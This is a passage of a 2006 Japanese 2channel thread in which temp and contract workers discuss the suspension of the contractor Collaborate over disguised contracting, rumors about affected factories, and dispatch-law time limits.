仕事あるぞ? マジで。
求人誌見てみろって、自動車関係とか時給1300〜1500くらいのごろごろあるから。
死ぬ気で挑戦してみなって。

377 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:44:55 ID:Hzt8fdok0
また時給かよ

378 :名無しさん@そうだ登録へいこう:2006/10/04(水) 19:48:21 ID:kfsVI+M4O
>>356見栄張るなって
コラボ潰れろ


379 :わー:2006/10/04(水) 19:55:54 ID:OCAwjUfiO
松下長岡工場はどうなるのですか?

380 :名無しさん@そうだ登録へいこう:2006/10/04(水) 20:07:45 ID:vzt1eMXr0
313>>本当なら大変だな!
ちなみに友達に偽装請負知ってて働いてたら、お前も同罪!言われたけど大丈夫だよな?

381 :名無しさん@そうだ登録へいこう:2006/10/04(水) 20:22:59 ID:qj3ehEZQ0
仙台工場からコラボ消えたらグッドウィルの天下か
独占ウマー

382 :名無しさん@そうだ登録へいこう:2006/10/04(水) 20:25:57 ID:hFKq+HNmO
東京・福生のトッパンアフォームズの現場は?

383 :名無しさん@そうだ登録へいこう:2006/10/04(水) 20:29:24 ID:wwZYRRrE0
グッドウィルも相当やばい会社じゃん

384 :名無しさん@そうだ登録へいこう:2006/10/04(水) 20:38:53 ID:6e130HjS0
一年前に辞めたのを親に黙ってたのに新聞にのってたから電話かかってきやがったww
辞めても迷惑かける会社コラボレート

385 :名無しさん@そうだ登録へいこう:2006/10/04(水) 20:39:24 ID:9KkLU1M20
willも改善命令食らっているからな・・・どうなることやらw

386 :名無しさん@そうだ登録へいこう:2006/10/04(水) 20:43:00 ID:vzt1eMXr0
千台:栄ムに鍋ゾー来るなよ!敬語知らないお前いらん! 他のコラ管理だけおいでね!ってか決まってるけど☆

387 :名無しさん@そうだ登録へいこう:2006/10/04(水) 20:46:22 ID:f8gXcOvnO
http://ip.tosp.co.jp/i.asp?i=001KEI
この人元アクティスなの?
誰か教えて下さい

388 :名無しさん@そうだ登録へいこう:2006/10/04(水) 21:25:47 ID:auwvMDWK0
>>334
工場内にある設備や備品をコラが買い取れば筋が通るが…

ありえねぇ〜

389 :名無しさん@そうだ登録へいこう:2006/10/04(水) 21:29:05 ID:BXu24j6h0
かわいそうに栗グループの社員達。2週間とはいえ売り上げに響くね。
つまり、賞与に影響がある。
だいたい2週間で改善できるのか?
それでOKなら労働局も信じられなくなる。

栗グループに限らず他、派遣業界だって偽装請負や
2重派遣なんて平気でやってるのにね。形式を変えて・・
派遣先企業にも問題がある。労働局も動くのが遅いし、
わかってるはずなのにね。

このタイミングで業務停止命令が出たのは首相が変わったからか?
関係ないかな・・

390 :名無しさん@そうだ登録へいこう:2006/10/04(水) 21:29:40 ID:PYdudUkC0
偽装派遣で何が悪いのか?労働上での安全とか労働時間の問題だけ?
それとも各保険料の未払いを少なくする為?


391 :名無しさん@そうだ登録へいこう:2006/10/04(水) 21:33:32 ID:ynAw4vEH0
>>390
偽装派遣w



392 :名無しさん@そうだ登録へいこう:2006/10/04(水) 21:55:46 ID:kc/Jnlx+0
辞めさせられるのかなぁ?かわいそうに・・・。

393 :名無しさん@そうだ登録へいこう:2006/10/04(水) 21:59:19 ID:Hzt8fdok0
>>389
コラボレートは構内請負から撤退ですよ

394 :名無しさん@そうだ登録へいこう:2006/10/04(水) 22:23:35 ID:Q5zpl2gU0
さっき前に登録した請負会社から電話があった。
登録してたことも忘れてたような会社。
コラボのおこぼれ需要だろうかw
てか、「派遣会社ですけど〜」って言ってたが
派遣じゃなくて請負なんだろ?≠チて問いただしてやりたかった。
一年後に直接雇用する気なのか?≠チてね。

395 :名無しさん@そうだ登録へいこう:2006/10/04(水) 22:30:45 ID:voLKYL3V0
>>394
お前w
まぁええわw


396 :名無しさん@そうだ登録へいこう:2006/10/04(水) 22:32:14 ID:p1zzCYUIO
面接したのにまだ連絡来ないよ。
オーイ…

397 :名無しさん@そうだ登録へいこう:2006/10/04(水) 22:45:55 ID:iwAxYEeoO
10月4日の朝日にまた載ってたね

398 :名無しさん@そうだ登録へいこう:2006/10/04(水) 22:47:28 ID:lrvBGr550
我が職場、「コラボレート請負職場」と書かれた大きなプレートが掲示してありましたが、
今日請負先(派遣先)の総務課員がやってきて、ベキベキに割って処分してました。

399 :名無しさん@そうだ登録へいこう:2006/10/04(水) 22:58:17 ID:eJTiDzeb0
364-366
コラボが駄目になっても「栗グループ他社で心機一転働きませんか?」とか案内くるよ多分
まぁその時はどさくさに紛れて更に給料下げてくるんだろうが

400 :名無しさん@そうだ登録へいこう:2006/10/04(水) 23:15:24 ID:+o3x8MsM0
ビクター林間が

401 :名無しさん@そうだ登録へいこう:2006/10/04(水) 23:27:51 ID:nECTBOydO
>>400
何?何があった?
元、そこにいた人間なんだが…詳細キボンヌ

402 :名無しさん@そうだ登録へいこう:2006/10/04(水) 23:27:54 ID:vAWMRJ/w0
請負先からコラボ契約解除でエイムに移籍


403 :名無しさん@そうだ登録へいこう:2006/10/04(水) 23:31:22 ID:Aq4sVkcKO
》399
根拠有るのかよ!

404 :名無しさん@そうだ登録へいこう:2006/10/04(水) 23:41:18 ID:kfsVI+M4O
コラボ潰れてほしい人、挙手!
コラボが憎い人、挙手!
挙手したい奴はコラボなんかに残留したい奴らとみなします
不正行為が日常の糞会社(株)コラボレート


405 :名無しさん@そうだ登録へいこう:2006/10/04(水) 23:54:09 ID:Z91kEAsj0
でも、現実的には撤退なんて出来るか?
とりあえず派遣に切り替えて契約満了時にあぽーん?
そんな簡単にいくなら元々無駄な人材って事でわ?

406 :名無しさん@そうだ登録へいこう:2006/10/05(木) 00:17:44 ID:cczeoUrW0
>>398

それは器物損壊罪にとわれるぞ。

407 :名無しさん@そうだ登録へいこう:2006/10/05(木) 00:29:08 ID:VkJEGifM0
あはははは!
俺が辞めた会社だわ!ざまあみろ、って思ったけど、ちょっと待て。
履歴書にコラボ・タイアップの名前があったら採用されにくくなる?
そんなわけないよな?辞めたの数ヶ月前の話だし、
なにも聞いてない(元)従業員に罪はないはずだよな?

ブチキレて辞めたようなもんだけど、マジ人の扱いが最悪だった。
人数足りてねえので12時間労働させるし、残業早出4時間なんて入所時に一言も聞いてねえし、
皆勤手当はカットされるし、交通費も若干ではあるがカットされた。
ただでさえ薄給のくせに待遇ガンガン悪化させていくんだもんな。

408 :名無しさん@そうだ登録へいこう:2006/10/05(木) 00:32:58 ID:fezU78/v0
>>406
分かってねぇな
請負先(派遣先)の総務課がわざわざ設けてくれたプレートだってば

409 :名無しさん@そうだ登録へいこう:2006/10/05(木) 00:46:52 ID:rnZKZi800
客先の視察時にコラボのプレートあったら都合悪いでしょうな。

410 :名無しさん@そうだ登録へいこう:2006/10/05(木) 00:51:22 ID:ClQRPoCO0
派遣会社と企業がやりたい放題してて、いいわけねーだろ。
どいつもこいつもグルになって腹肥やして、稼ぎ逃げかな。
アホな労働者相手やさぁかいに。そうでんなぁ、アホ相手でっせ。

しょーもねぇ会社だな、全く。
ハイ、解散解体。解散解体どーぞ。

411 :名無しさん@そうだ登録へいこう:2006/10/05(木) 01:29:41 ID:VhVyecPw0
380>>
【ちなみに友達に偽装請負知ってて働いてたら、お前も同罪!言われたけど大丈夫だよな?】
 ここは偽装請負ですよ!なんてイチイチ説明するかよ!!お前も停止!


412 :名無しさん@そうだ登録へいこう:2006/10/05(木) 01:59:27 ID:/bsJvJEVO
>>407
それはコラボを何時退社したかだろう。報道されたにも関わらず、しばらく
居たのなら(既に辞めてるから関係ないな)面接時にその問いに対する答えが
出来ないと厳しいよな。あと、もし長い間居たならコラボで何をしたかの答えも要るな。
「現場で使わないので資格取らせてもらえませんでした」じゃアウトだと思う。

413 :名無しさん@そうだ登録へいこう:2006/10/05(木) 02:08:11 ID:IYIjnFR70
マルチでスマナイ。ここが一番活発なようですね。

クリスタル系グループ200社のリストはどなたかお持ちですか?
系列全社と取引中止したいのですが。親切な方いらしたらお願いします。

414 :名無しさん@そうだ登録へいこう:2006/10/05(木) 02:48:08 ID:lHeYcgoS0
>>413
コラボで登録して働いている人達が大半なこのスレで
この先自分たちの身はどうなるのかと真剣に考えている人達が多く居るこのスレで

>クリスタル系グループ200社のリストはどなたかお持ちですか?
>系列全社と取引中止したいのですが。

活発って、あんた・・・・。
釣りなら釣られたが、マジで聞いてんなら頭大丈夫か?
やはり契約していた企業側にも何らかの制裁が必要だと思う。

415 :名無しさん@そうだ登録へいこう:2006/10/05(木) 03:31:52 ID:3oPOANP30
松下PDP関連の話題はこちらへ

【茨木】松下PDP工場請負専用スレ【尼崎】
http://money4.2ch.net/test/read.cgi/haken/1153492617/

416 :名無しさん@そうだ登録へいこう:2006/10/05(木) 04:44:46 ID:hjhkBAXrO
別に気にならねーよみんな大丈夫だよ2週間すれば元に戻るんだからそんな騒いでるやつらはほっといたほうがいいよ別にコラボのあったって客なんて見やしないよ

417 :名無しさん@そうだ登録へいこう:2006/10/05(木) 05:09:49 ID:ctJOB1bnO
結局、派遣化するか、解約・撤退するか、どっちかだろうね。 2週間、ヒマだね。 事務と雑談して1日終りだな。

418 :名無しさん:2006/10/05(木) 06:15:55 ID:QUvKDmsG0
派遣化したら最長1年だか2年までしか働けないんでしょ?
あーあ1年や2年じゃせっかく仕事やラインに馴染んでもすぐ終わりじゃん

419 :名無しさん@そうだ登録へいこう:2006/10/05(木) 06:17:23 ID:qEK46T6NO
今朝の新聞にコラボの広告が載っていたよ。それだけ顧客離れスタッフ離れが激しいという事だろな。オレの所もコラボは契約解除だって。スタッフもろとも。ご愁傷様

合掌


420 :名無しさん@そうだ登録へいこう:2006/10/05(木) 06:17:38 ID:rz1LVrrG0
松下子会社、偽装請負で社員リストラ穴埋め
http://www.asahi.com/national/update/1004/TKY200610040529.html

421 :名無しさん@そうだ登録へいこう:2006/10/05(木) 07:05:43 ID:R+V+JPNy0
クリクリクリクリクリスタル〜
あ〜うとそ〜しんぐぽっぽー♪のCMむかつくわぁ

はよつぶれんかな〜(・∀・)ニヤニヤ

422 :名無しさん@そうだ登録へいこう:2006/10/05(木) 07:10:12 ID:fjt5q4Hu0


338 :名無しさん@そうだ登録へいこう :2006/09/25(月) 11:46:28 ID:Cl9YmLZd0
youtubeでこんなやつ見つけたよ。
善人面をして、違法行為を平気でやるような会社は徹底的に叩かれるべきだ!

松下偽装請負ビデオ
http://www.youtube.com/watch?v=DQiyJJyvFVI



423 :名無しさん@そうだ登録へいこう:2006/10/05(木) 07:12:46 ID:fjt5q4Hu0
>407
>入所時

刑務所か何かですか?

424 :名無しさん@そうだ登録へいこう:2006/10/05(木) 08:17:39 ID:WaWpPAYwO
犯罪のクリスタル
犯罪揉み消し
犯罪のクリスタルの特効隊長コラボレート
犯罪バンバン行います
クリスタル、バンバン揉み消します
法を舐めきっています


425 :名無しさん@そうだ登録へいこう:2006/10/05(木) 08:35:20 ID:2kWaNMGc0
クレジットや車のローン組みたい時に勤め先をコラボレートと書いたらまずくなるのかな?
審査する際にコラボに在籍確認するでしょ?
確認するのはいいとして、コラボの社員(登録)だと審査通りにくくなるのか心配です。


426 :名無しさん@そうだ登録へいこう:2006/10/05(木) 08:43:25 ID:6DKfRqAv0
>425
大丈夫。安心しろ。在籍確認と年収確認する程度の審査だから

427 :名無しさん@そうだ登録へいこう:2006/10/05(木) 08:47:09 ID:W3/R0dy40
クリスタル関連のリストは総合スレにリンクが貼ってあるはず

428 :名無しさん@そうだ登録へいこう:2006/10/05(木) 08:51:02 ID:Fqa5Ospg0
栗本体の役員リストやグループ企業リスト:
http://plaza.rakuten.co.jp/chibisuke5656

429 :名無しさん@そうだ登録へいこう:2006/10/05(木) 09:00:40 ID:DyGZV/cZO
>416
的を得ているキモス

>418
三年な、派遣法改正したから

430 :名無しさん@そうだ登録へいこう:2006/10/05(木) 09:11:35 ID:wZ3pPYCG0
イワレタトーリニセーヤwwww
                 Λ_Λ  イワレタトーリニセーヤwwww
                 ( ´Д` )        Λ_Λ
   Λ_Λ         /    ,\      (´Д` ) イワレタトーリニセーヤwwww
   ( ´Д`)          | l    l |     /    ,\
  /    \        | .;|;;:。;:,:、| ;|    ..,. | l    l |
  | l    l |     ..,. ., ヽ '゚;_。:_;./ /;-゚;・,。:゚;:.゚|;;|.   | ,|
  | |    | _|。.:_::゜。-.;.:゜;/_ン∩ソ/\;;:;.:.。:  ヽ '゚;。_ / /
  ヽ \_ .。'゚/   `。:、`;゜::;.:、,:゚;: .:..゜:: ゚。:..;: /_ン∩ソ/\
   /\_ン∩ソ\    ゚ ;:゚..゜:: ゚。:.:.:゚; ゚ ;:゚..;゚;  /  /`ー'ー'\ \
.  /  /`ー'ー'\ \    ゚ ;:゚..゜:: ;。:.:.::゚。;:;.:ヽ  <     / /
 〈  く     / /    ゚ ;:゚.。゜:;゚;゚.。.:`;:;.:.。 \ \    / /
.  \ L   ./ /     .;.:.;.゜::: ;。: ;:゚.゜:: :  .〉 )  ( .く,
    〉 )  ( .く,     ゚.;゚ヽ(`Д´)ノウワァァン(_,ノ   \.`)
   (_,ノ    .`ー'     ;:ヽ(    )ノ:゚.;.:;←松本君


431 :名無しさん@そうだ登録へいこう:2006/10/05(木) 09:24:08 ID:td6nGw760
>>413
wiki クリスタル で検索よろ

432 :名無しさん@そうだ登録へいこう:2006/10/05(木) 09:38:09 ID:7YmeX8XS0
>>389
首相が変わったのはまったく関係ない。監視強化の通達が出たのが1ヶ月前だし。

>>390
あと経営的な理由からすれば品質劣化とスパイ行為のリスク増大がある。

433 :名無しさん@そうだ登録へいこう:2006/10/05(木) 10:36:28 ID:BXehXcMp0
また朝日の1面にでてる

434 :名無しさん@そうだ登録へいこう:2006/10/05(木) 10:54:51 ID:R+V+JPNy0
>>429
>三年な、派遣法改正したから

うん?
一年後に直接雇用(正社員)じゃねえの?
何で3年とかが出てくる??

435 :名無しさん@そうだ登録へいこう:2006/10/05(木) 11:01:06 ID:WaWpPAYwO
朝日にネタと証人を匿名で提供しましょうか


436 :名無しさん@そうだ登録へいこう:2006/10/05(木) 11:18:49 ID:hRXec2Du0
構内請負から撤退するって言ってるけど?
また分社とか社名変更する気だな(w

437 :名無しさん@そうだ登録へいこう:2006/10/05(木) 11:40:12 ID:jnlkdGfI0
コラボレーターに変更

438 :名無しさん@そうだ登録へいこう:2006/10/05(木) 11:57:19 ID:qwyvOD2DO
朝日よ。
現在の営業マンに『現場の人達が一生懸命働いているのに、朝と夕方営業所に顔出すだけで数十万貰ってて恥ずかしくないですか』って質問してくれ

439 :名無しさん@そうだ登録へいこう:2006/10/05(木) 12:17:41 ID:quLRBEot0
■偽装請負 初の事業停止命令
日曜版がくり返し追及してきた、クリスタルグループによる偽装請負で、初の事業停止命令が出ました。
厚生労働省大阪労働局が、大手請負会社、コラボレートに2週間の事業停止を命じたのです。同社は、
請負・派遣トップのクリスタルが100%出資する子会社。キヤノンや松下電器などの大企業と一体となっ
て、労働者に偽装請負を強いてきました。

■懲りぬトヨタ系 続く偽装請負
トヨタグループの自動車部品会社が違法な「偽装請負」の是正を、厚生労働省愛知労働局から指導され
ました。その結果、「請負」をなくしたというこの会社で、実はいまなお偽装請負が続いている疑いが
浮上しました。いまでもハローワークで、請負労働者が募集されているのです。

http://www.jcp.or.jp/akahata/week/index.html


440 :名無しさん@そうだ登録へいこう:2006/10/05(木) 12:20:53 ID:B7xNXuzC0
>>434
うん?
改正したから3年後に直接雇用(正社員)じゃねえの?
何で一年後とかが出てくる??

441 :名無しさん@そうだ登録へいこう:2006/10/05(木) 12:26:03 ID:Nlnoq/OPO
>>434
平成19年3月から、製造業務も、同一業務における最大派遣期間が3年になる。

それまでは最大1年(だった)。

しかし、今月以降に派遣となって、平成19年3月以降も同一業務に就く場合は最大3年。

442 :名無しさん@そうだ登録へいこう:2006/10/05(木) 12:30:10 ID:Nlnoq/OPO
>>440
3年後、基本的には派遣先企業に直接雇用されるはずだけど、「正社員」雇用とは限らないし、合法的に直接雇用を回避し、派遣として勤務させる方法もある。

世の中甘くない罠…

443 :名無しさん@そうだ登録へいこう:2006/10/05(木) 12:43:20 ID:/bsJvJEVO
>>430
ん?東海地方のか?

444 :名無しさん@そうだ登録へいこう:2006/10/05(木) 14:58:20 ID:iO7A4cWJO
だから、直接雇用=正社員ではないって。
直接賃金をもらう雇用だから、パートもアルバイトも契約社員も入ります。


445 :名無しさん@そうだ登録へいこう:2006/10/05(木) 15:04:55 ID:Nlnoq/OPO
>>444
だよな。

3年後の直接雇用回避策として一番有り得るのが、「派遣社員」から「派遣会社の正社員」にされて、派遣法適用外の「派遣先企業に出向」という形で、法を抜け道をつく方法。

446 :名無しさん@そうだ登録へいこう:2006/10/05(木) 15:11:50 ID:pPl9CXSr0
>>445
おそらくは「正社員」ではなく、「準社員(契約社員)」にされるでしょう。


447 :名無しさん@そうだ登録へいこう:2006/10/05(木) 15:19:31 ID:twWvfoNf0
偽造請負する会社は人材が逃げるだろうね!!
会社の損失は多いね!!

448 :名無しさん@そうだ登録へいこう:2006/10/05(木) 15:36:37 ID:Pmu+2M/G0
今回の処分が出る3、4ヶ月(もっと?)前から茨城の水戸営業所の求人が全然ないんだけど?
日立営業所は毎週出てるのになんでざんしょ?水戸は存在してないのか?

449 :名無しさん@そうだ登録へいこう:2006/10/05(木) 15:39:10 ID:P6FZcWjx0
上と連絡とれんなw逃げてんのかw

450 :名無しさん@そうだ登録へいこう:2006/10/05(木) 15:45:56 ID:0dWGm88M0
ののさん俺も連れてってくれって馬鹿所長が営業所内で騒いでいます。

451 :名無しさん@そうだ登録へいこう:2006/10/05(木) 16:13:58 ID:VkJEGifM0
どうなんだろ?俺がいた頃はS県の工場内某事業所で働いていたんだ。
入ってしばらくは人が辞めても代わりをバンバン入れてきていたんだが、
途中から新人をサッパリ入れなくなって、その時働いていたやつらを
早出残業させて回すようになっていたんだが、やっぱり関係あるのかな?

452 :名無しさん@そうだ登録へいこう:2006/10/05(木) 17:29:49 ID:KHShSfIQO
熊本の某工場にいるが今のところ普通だな。
先行きどうなるのかがまったくわからん。

453 :名無しさん@そうだ登録へいこう:2006/10/05(木) 17:33:17 ID:Anl6VT2NO
私の派遣先も偽装請負に引っ掛かってたよorz
今回の件の影響でか、資格手当や皆勤手当、はたまた昇給した分をカットするなどと言い出してるらしい。なんでこっちに皺寄せが来るかな。馬鹿馬鹿しい。



454 :名無しさん@そうだ登録へいこう:2006/10/05(木) 17:44:45 ID:FqEsoJIjO
懐かしいな〜。一年前に高校卒業して、この会社で正社員で働いていたな…。
冗談抜きに、管理の奴が世間知らずで安給料で働いてやった俺や当時一緒に働いていた仲間に強きな態度だったな。

俺達が入った時の、管理だった、愛知県コラボレートのH○○○TAは今何しているんだろうな?

本当この会社は頭が悪い奴が集まる最悪な会社だと思う。辞めて良かった。

455 :名無しさん@そうだ登録へいこう:2006/10/05(木) 18:21:21 ID:WaWpPAYwO
コラボがやってる悪事は偽装請負だけではないんだけどね


456 :名無しさん@そうだ登録へいこう:2006/10/05(木) 18:35:16 ID:/bsJvJEVO
労災のとかな

457 :名無しさん@そうだ登録へいこう:2006/10/05(木) 18:43:33 ID:n2+waFpm0
どうせ無数のペーパーカンパニーの中から存続会社を決めて事実上継続するんだろ。
急いで新たなペーパーカンパニーを何個も作っているのかもしれないが。

458 :革命戦線ギロチンファミリー:2006/10/05(木) 18:43:51 ID:N6VDxTql0
■ ズバリ言います ■

松下プラズマディスプレイ茨城工場で偽装請負を密告した
派遣社員をテントに隔離したのは、コラボレートではなく、
松下側です。だから松下も偽装請負に加担してることになり、
松下も責任を取らなければならない。

                   新左翼団体
                       革命戦線ギロチンファミリー


459 :名無しさん@そうだ登録へいこう:2006/10/05(木) 18:57:07 ID:n2+waFpm0
おそらく林明日香タンは連結決算対象外のペーパーカンパニー
(一見栗一派とは無関係の)などを無数に所有しているだろうからな。

460 :名無しさん@そうだ登録へいこう:2006/10/05(木) 19:02:42 ID:3sveHN7nO
>>458
けっこう、まともな事を言ってるな‥と思ったら、
残念ながら、最後のネーミングがあまりにも厨房すぎたな‥乙


461 ::2006/10/05(木) 19:03:17 ID:GIuTAhKD0
そういえば広告会社からもの凄い接待を受けている
今は常務の○西さんは元気かな?
あの接待受けていればバンバン広告打つよなあ・・。

462 :名無しさん@そうだ登録へいこう:2006/10/05(木) 19:03:18 ID:mRmFSA7A0
クソスタル

463 ::2006/10/05(木) 19:04:40 ID:GIuTAhKD0
蛇床過剰請求中○さん

464 ::2006/10/05(木) 19:06:36 ID:GIuTAhKD0
ジャトコ気づかず累計数千万円!
それで偉くなった○西さん。

465 :名無しさん@そうだ登録へいこう:2006/10/05(木) 19:17:40 ID:53QwDL+Y0
新左翼とかキモw
お前等口だけやんけw

466 :名無しさん@そうだ登録へいこう:2006/10/05(木) 19:18:41 ID:7YmeX8XS0
>>445
それいま松下PDがやっていることだろ・・・

兵庫労働局の判定まちだが、まず黒になるだろうな。

467 :名無しさん@そうだ登録へいこう:2006/10/05(木) 19:23:44 ID:n2+waFpm0
大坪千夏と中村仁美は林明日香に早く法の抜け道見つけてくれってつついてるのかもしれないけどさ。

468 :名無しさん@そうだ登録へいこう:2006/10/05(木) 19:24:21 ID:fXGVxItVO
皆でつぶそうぜ、こんな悪質な会社は。
誰も働くな

469 :名無しさん@そうだ登録へいこう:2006/10/05(木) 19:51:00 ID:Nlnoq/OPO
本日の全国紙朝刊にコラボ謝罪広告あり

あとで画像うpします

470 :名無しさん@そうだ登録へいこう:2006/10/05(木) 19:54:29 ID:Nlnoq/OPO
このご時世、HPアドレスの掲載が無い企業の謝罪広告…

それも全国紙に…

471 :名無しさん@そうだ登録へいこう:2006/10/05(木) 20:02:57 ID:R+V+JPNy0
>>442
「3年」なのかー?
先月、深夜に松下プラズマ偽装請負≠フ特番してたけど
「1年」って言ってた気がするがなぁ。
しかも3年後、また奴隷使用?
なぁ、みんなもう業務請負業で働くの辞めようや。
新聞配達でもなんでもあるよ。
何で俺らが1時間2、300円払って
業者の正社員食わさにゃならんの。あほらし。


472 :名無しさん@そうだ登録へいこう:2006/10/05(木) 20:06:03 ID:WjB1Z/Je0
事務所の人に話聞いたけど、なんか上と連絡とれんらしい。
連絡とれん上に勝手に新聞で「コラボレート、構内請負撤退!」とか
見出しがのって、派遣先からどーなってるんだ!ってなってるらしい。



473 :472:2006/10/05(木) 20:08:06 ID:WjB1Z/Je0
しかもうちのとこは2年前の法律改正のときに完全請負化目指すために
メーカー社員を他の派遣の現場に移して、コラボレートのために整理してきてたらしい。


474 :名無しさん@そうだ登録へいこう:2006/10/05(木) 20:09:51 ID:iO7A4cWJO
正社員の異動先無し。
正社員の意味無し。


475 :472:2006/10/05(木) 20:15:16 ID:WjB1Z/Je0
うちのとこは一応表向きコラボレートの完全請負目指してただけであって、
アクティスとダイテック出身で契約社員から製造正社員になった
生え抜きばりばりの古株の人が勢ぞろいしてるんだよな。
多分コラボレートで一番売り上げがよくて力入れてたんじゃないかな?
それだけにもったいなさすぎだな。


476 :名無しさん@そうだ登録へいこう:2006/10/05(木) 20:24:32 ID:Nlnoq/OPO
新聞の謝罪広告を見ると、「業務請負からの撤退」を示唆できるので、完全請負が成り立ってた現場も終わる訳だ…

トッパンアフォームズ乙

477 :名無しさん@そうだ登録へいこう:2006/10/05(木) 20:29:18 ID:WaWpPAYwO
仕事できる奴なんて極僅かしかいねぇよバ〜カ
話ししてると仕事できる奴はやっぱ転職を真剣に考えて動きだしてるしね
そろそろだろ?企業が募集始めるの。
コラボさんご愁傷様です
潰れてくださいな

478 :名無しさん@そうだ登録へいこう:2006/10/05(木) 20:31:25 ID:DJhT2Rne0
今日の夕方もTBSで松下プラズマディスプレイとコラボの件やってたな。

479 :名無しさん@そうだ登録へいこう:2006/10/05(木) 20:31:57 ID:EmLlltzG0
謝罪しても絶対許さない。徹底的に潰そうぜ!

480 :名無しさん@そうだ登録へいこう:2006/10/05(木) 20:39:50 ID:Nlnoq/OPO
既に経営陣や幹部は、身を隠したっぽい。

謝罪広告に記載されていた電話番号(本社?)にかけても留守電になる。

481 :名無しさん@そうだ登録へいこう:2006/10/05(木) 20:43:37 ID:QHk9uetX0
派遣会社の人間みんなで仕事やめて、生活保護もらおうよ。

482 :奥川:2006/10/05(木) 20:46:20 ID:6RY09XoX0
 簡単な給与計算も間違える(それも、何度も・・・)ような奴らが、会社立ち上げるだの
何だの・・・。笑止千万、片腹痛いとはこのことだぜ!!

483 :名無しさん@そうだ登録へいこう:2006/10/05(木) 21:02:12 ID:BJZVdcPb0
ニュース速報+板

【格差社会】「頑張れど賃金1円も上がらず」 偽装請負「コラボレート」告発の労働者ら講演で実態を明らかに
http://news19.2ch.net/test/read.cgi/newsplus/1160008941/


484 :名無しさん@そうだ登録へいこう:2006/10/05(木) 21:16:32 ID:d445xDzO0
この広告を食玩とするなら、おわびの文言は食玩に付いて来るガムだな

…と、今朝の新聞広告を見て思いますた。

485 :名無しさん@そうだ登録へいこう:2006/10/05(木) 21:17:29 ID:53QwDL+Y0
つか、各営業所に対応投げっぱかよwww
しかも営業所は事業所に対応投げっぱかよwwww
無理じゃwwwww
上の方々はどこにいっちゃったの?w

486 :名無しさん@そうだ登録へいこう:2006/10/05(木) 21:24:32 ID:ksnako1n0
>>469
画像うpマダー?(・∀・ )っ/凵 ⌒☆チン

487 :今朝の謝罪広告:2006/10/05(木) 21:40:09 ID:Nlnoq/OPO
>>486
一応、携帯でもPCでも見られるはず↓
http://choco2.jp/gazoB1.php?id=i-line3&pg=10&pn=1&adkbn=0&kokoku=0&page=2

488 :名無しさん@そうだ登録へいこう:2006/10/05(木) 21:49:33 ID:WaWpPAYwO
偽装請負だけじゃないよコラボは。
しっかり調べてくれよな!
そして潰れろ!
給与の50%近く搾取するような会社にいる意味あるのか?

489 :名無しさん@そうだ登録へいこう:2006/10/05(木) 21:54:53 ID:Dyu7ziQ50
○ャ○アちのベーしょんのちのねんです。
ちのねんです。ちのねんです。ちのねんです。
愛車BMのタイヤがへってきたとです。
全ぶもらうとです事業所。
トラの衣をかりてるとか○○がいないと何もできないと
いままでおれをばかにしてきた鯛のやつらにひとあわふかせてやるとです。
いまのかいしゃではまだ横領はしてなかとです。

490 :名無しさん@そうだ登録へいこう:2006/10/05(木) 22:28:14 ID:K/ijDlH+0
今回のコラボの件で、コラボを解約しない企業は
おわってるな・・・。
コラボと一緒に共倒れするんだろうな。

491 :名無しさん@そうだ登録へいこう:2006/10/05(木) 22:29:08 ID:K/ijDlH+0
六本木心中ならぬ、コラボと心中・・・・・・・・・・。

492 :名無しさん@そうだ登録へいこう:2006/10/05(木) 22:35:02 ID:6dYt8V050
>>445
それちょっとちがう。
一時的に派遣に切り替えたのをまた請負に戻して派遣先
つまり松下の社員が派遣会社に出向して来たんだよ。
で、その松下の社員が請負作業者に指示をするのは合法だと
松下は言い放ってるわけ。

493 :名無しさん@そうだ登録へいこう:2006/10/05(木) 22:35:53 ID:ctJOB1bnO
これからは、ハロワには派遣で、求人出すことになるんだな。 意気がって、請負していた一部の事業所長が笑える。請負からは完全撤退だからね。 管理は派遣になると不要だよ!かなりリストラされるだろう。安全衛生管理者もな! (笑)

494 :名無しさん@そうだ登録へいこう:2006/10/05(木) 22:36:49 ID:YKmYl6xh0
あー、事業停止命令??おかしいな
ビ○ターにはちゃんと来てるぞ?
営業停止だったらフツーに来てても不思議じゃないんだが。

495 :革命戦線ギロチンファミリー:2006/10/05(木) 22:44:37 ID:N6VDxTql0
♪派遣労働者よ、立ち上がれ

。エミネムの8マイルを聴きながら読んでください。

♪君がコンビニでたまたま見つけたタウンワーク
♪そこには派遣のマークが入った求人募集
♪内容は”工場の軽作業・時給1,000円” 「ん?いいじゃん」
♪金欠の君はさっそく面接に伺う

♪いいのかい?自分の値段はそれ相応かい?
♪日給8,000円として月20日で16万 手取り15万、ボーナスなし
♪年収180万で結婚できるのか?家庭をもてるのか?
♪親の面倒が見れるか?年金払えるか?
♪これじゃぁ、自分が生きるのも精一杯だぜ NHKの受信料も払えねーぜ

♪目を覚ませ 憤慨しろ こぶしを突き上げろ ハゲどもと戦え
♪既得権益を破壊しろ 自分の安売りはやめろ

♪いま派遣社員の君は一生派遣社員だ
♪真面目に働いても親の入院費用も
♪払えないなら君は親不孝者だ

♪目を覚ませ 憤慨しろ こぶしを突き上げろ ハゲどもと戦え
♪既得権益を破壊しろ 自分の安売りはやめろ

♪人材派遣は冷静に考えると人身売買じゃねーか
♪この人材派遣業の発展がニートやフリーターを増やしているんだ

♪目を覚ませ 憤慨しろ こぶしを突き上げろ ハゲどもと戦え
♪既得権益を破壊しろ 自分の安売りはやめろ

496 :名無しさん@そうだ登録へいこう:2006/10/05(木) 22:45:57 ID:IYIjnFR70
>>494 新規だけ停止 すでに契約済みのはOK

497 :名無しさん@そうだ登録へいこう:2006/10/05(木) 22:57:23 ID:fjt5q4Hu0
3年で正社員採用とか言ってる奴

そんなに甘くねーよ

法律もちっとは勉強せい

498 :名無しさん@そうだ登録へいこう:2006/10/05(木) 23:05:07 ID:oSaTecGu0
北上 ほん条(藁)

499 :名無しさん@そうだ登録へいこう:2006/10/05(木) 23:07:19 ID:y+Rl8e1n0
3年でバイト採用

500 :名無しさん@そうだ登録へいこう:2006/10/05(木) 23:10:25 ID:IktAmFec0
>>499
正解!

501 :名無しさん@そうだ登録へいこう:2006/10/05(木) 23:10:59 ID:YFaR8e1B0
3年たたずに解雇

502 :名無しさん@そうだ登録へいこう:2006/10/05(木) 23:16:37 ID:6dYt8V050
昨日来た管理の兄ちゃん、憔悴しきっとったなぁ…

503 :名無しさん@そうだ登録へいこう:2006/10/05(木) 23:17:05 ID:UO8YQuHp0
アルバイトしたいのですが

504 :名無しさん@そうだ登録へいこう:2006/10/05(木) 23:31:08 ID:cczeoUrW0
今日、いろんな新聞に謝罪記事載ってたぞ。

